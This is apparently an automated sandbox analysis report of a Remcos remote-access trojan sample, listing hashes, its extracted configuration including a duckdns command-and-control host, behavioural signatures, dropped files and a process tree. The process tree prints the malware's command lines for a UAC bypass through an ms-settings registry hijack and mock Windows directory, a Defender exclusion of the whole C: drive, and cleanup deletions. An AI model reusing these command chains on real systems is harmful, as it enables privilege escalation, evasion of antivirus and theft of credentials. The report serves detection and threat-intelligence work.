Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-07-2024 03:16

General

  • Target

    52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe

  • Size

    1.0MB

  • MD5

    c9849a6295f2527f02fd7b9a0664d401

  • SHA1

    9db9709ad5446150bff3c3a4d193979753904866

  • SHA256

    52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071

  • SHA512

    0f330d7bc780dbb1b9ef2bc92e018c29523aca29fda9e3f3f785e4c8f6fc06181e0e4c5bb5ad59f7a34409affa606d9d19c4f13981e8097c95778beef6cbd3ea

  • SSDEEP

    24576:E6Dlm/atGKanKxvdwEHfZTX0u/nJaRj9yin1mV/aJscLc:DDcCZfx+GQRjj1mj

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

127.0.0.1:52121

officerem.duckdns.org:52121

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-UNX1LL

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 20 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe
    "C:\Users\Admin\AppData\Local\Temp\52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4664
    • C:\Users\Public\Libraries\ngtepnyT.pif
      C:\Users\Public\Libraries\ngtepnyT.pif
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\ED3E.tmp\ED3F.tmp\ED40.bat C:\Users\Public\Libraries\ngtepnyT.pif"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:3736
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:652
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:4936
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3352
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:1988
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3656
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:2228
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1844
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  5⤵
                    PID:2588
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4780
                  • C:\Users\Public\xkn.exe
                    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    5⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:2404
                    • C:\Users\Public\alpha.exe
                      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:3572
                      • C:\Users\Public\ger.exe
                        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        7⤵
                        • Executes dropped EXE
                        • Modifies registry class
                        PID:4376
                • C:\Windows \System32\per.exe
                  "C:\\Windows \\System32\\per.exe"
                  4⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:1616
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2420
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SystemSettings.exe
                    5⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3596
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                  4⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:1400
                  • C:\Windows\system32\PING.EXE
                    ping 127.0.0.1 -n 2
                    5⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:1276
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  4⤵
                  • Executes dropped EXE
                  PID:3356
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  4⤵
                  • Executes dropped EXE
                  PID:2180
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  4⤵
                  • Executes dropped EXE
                  PID:1676
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:3644
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:756
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:5048
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:2204
            • C:\Windows\SysWOW64\extrac32.exe
              C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe C:\\Users\\Public\\Libraries\\Tynpetgn.PIF
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1568
            • C:\Windows\SysWOW64\colorcpl.exe
              C:\Windows\System32\colorcpl.exe
              2⤵
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: MapViewOfSection
              PID:1820
              • C:\Windows\SysWOW64\colorcpl.exe
                C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\vpsvpkjikgmkoyepgmkfvgepijqdno"
                3⤵
                  PID:4780
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\vpsvpkjikgmkoyepgmkfvgepijqdno"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1912
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\xjxgqdubyoexqestxwxyytqgjyiegzaxg"
                  3⤵
                    PID:4916
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\xjxgqdubyoexqestxwxyytqgjyiegzaxg"
                    3⤵
                    • Accesses Microsoft Outlook accounts
                    • System Location Discovery: System Language Discovery
                    PID:540
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\illyrv"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4364
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:3360

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\ProgramData\remcos\logs.dat

                  Filesize

                  146B

                  MD5

                  30beae253588d17f861c8772b93a1527

                  SHA1

                  7a658ab3a9a9964212a42ed2e83b2ab9f4500efa

                  SHA256

                  4f0a3009cb4fe9dc760c88e06489a40c8b4ce2248a6d40794702e6ffb175423f

                  SHA512

                  9708ede82ce1b43b7b4073679de5ed095ea6c167be88576081fb46ef47bcacbca886bcdbe4390829ddd7a7c75e4859f7ddaff41897a000c04e50c8f0d9e02acf

                • C:\Users\Admin\AppData\Local\Temp\ED3E.tmp\ED3F.tmp\ED40.bat

                  Filesize

                  1KB

                  MD5

                  e62f427202d3e5a3ba60ebe78567918c

                  SHA1

                  6ef0cd5ba6c871815fceb27ff095a7931452b334

                  SHA256

                  06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff

                  SHA512

                  e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mpjbnin4.0zm.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\AppData\Local\Temp\vpsvpkjikgmkoyepgmkfvgepijqdno

                  Filesize

                  4KB

                  MD5

                  bfad3231b66bc41dc26604f95ff7798f

                  SHA1

                  3bb8a68b16f2dc00e7ae9757fd4be2d10dbe91f1

                  SHA256

                  5b925ab999c036167ea8ddb4ea5256d33f56405a62faf0c40837d3e69588c5e2

                  SHA512

                  1339ac589e8a88ce019a638a68f8db4d93193b24c8252fe4825de02b816c4572fcc9722d48752904ccba5968072b8dd5070117ad88e8aa4a5dcd53d3c3b5cc0a

                • C:\Users\Public\Libraries\ngtepnyT.pif

                  Filesize

                  66KB

                  MD5

                  c116d3604ceafe7057d77ff27552c215

                  SHA1

                  452b14432fb5758b46f2897aeccd89f7c82a727d

                  SHA256

                  7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                  SHA512

                  9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

                • C:\Users\Public\alpha.exe

                  Filesize

                  283KB

                  MD5

                  8a2122e8162dbef04694b9c3e0b6cdee

                  SHA1

                  f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                  SHA256

                  b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                  SHA512

                  99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                • C:\Users\Public\ger.exe

                  Filesize

                  75KB

                  MD5

                  227f63e1d9008b36bdbcc4b397780be4

                  SHA1

                  c0db341defa8ef40c03ed769a9001d600e0f4dae

                  SHA256

                  c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                  SHA512

                  101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                • C:\Users\Public\xkn.exe

                  Filesize

                  442KB

                  MD5

                  04029e121a0cfa5991749937dd22a1d9

                  SHA1

                  f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                  SHA256

                  9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                  SHA512

                  6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                • C:\Windows \System32\per.exe

                  Filesize

                  48KB

                  MD5

                  85018be1fd913656bc9ff541f017eacd

                  SHA1

                  26d7407931b713e0f0fa8b872feecdb3cf49065a

                  SHA256

                  c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                  SHA512

                  3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                • memory/540-97-0x0000000000400000-0x0000000000462000-memory.dmp

                  Filesize

                  392KB

                • memory/540-99-0x0000000000400000-0x0000000000462000-memory.dmp

                  Filesize

                  392KB

                • memory/540-95-0x0000000000400000-0x0000000000462000-memory.dmp

                  Filesize

                  392KB

                • memory/1820-86-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-85-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-68-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-69-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-70-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-65-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-64-0x00000000050C0000-0x00000000060C0000-memory.dmp

                  Filesize

                  16.0MB

                • memory/1820-124-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-117-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-108-0x0000000017140000-0x0000000017159000-memory.dmp

                  Filesize

                  100KB

                • memory/1820-116-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-87-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-88-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-89-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-90-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-92-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-113-0x0000000000400000-0x0000000000482000-memory.dmp

                  Filesize

                  520KB

                • memory/1820-111-0x0000000017140000-0x0000000017159000-memory.dmp

                  Filesize

                  100KB

                • memory/1820-112-0x0000000017140000-0x0000000017159000-memory.dmp

                  Filesize

                  100KB

                • memory/1912-94-0x0000000000400000-0x0000000000478000-memory.dmp

                  Filesize

                  480KB

                • memory/1912-98-0x0000000000400000-0x0000000000478000-memory.dmp

                  Filesize

                  480KB

                • memory/1912-96-0x0000000000400000-0x0000000000478000-memory.dmp

                  Filesize

                  480KB

                • memory/2404-40-0x0000020072300000-0x0000020072322000-memory.dmp

                  Filesize

                  136KB

                • memory/4264-11-0x0000000000400000-0x0000000001400000-memory.dmp

                  Filesize

                  16.0MB

                • memory/4264-5-0x0000000000400000-0x0000000001400000-memory.dmp

                  Filesize

                  16.0MB

                • memory/4264-10-0x0000000000400000-0x000000000041A000-memory.dmp

                  Filesize

                  104KB

                • memory/4264-8-0x0000000000400000-0x0000000001400000-memory.dmp

                  Filesize

                  16.0MB

                • memory/4264-82-0x0000000000400000-0x0000000001400000-memory.dmp

                  Filesize

                  16.0MB

                • memory/4264-84-0x0000000000400000-0x000000000041A000-memory.dmp

                  Filesize

                  104KB

                • memory/4364-102-0x0000000000400000-0x0000000000424000-memory.dmp

                  Filesize

                  144KB

                • memory/4364-100-0x0000000000400000-0x0000000000424000-memory.dmp

                  Filesize

                  144KB

                • memory/4364-101-0x0000000000400000-0x0000000000424000-memory.dmp

                  Filesize

                  144KB

                • memory/4664-0-0x0000000000B30000-0x0000000000B31000-memory.dmp

                  Filesize

                  4KB

                • memory/4664-1-0x0000000000400000-0x000000000050C000-memory.dmp

                  Filesize

                  1.0MB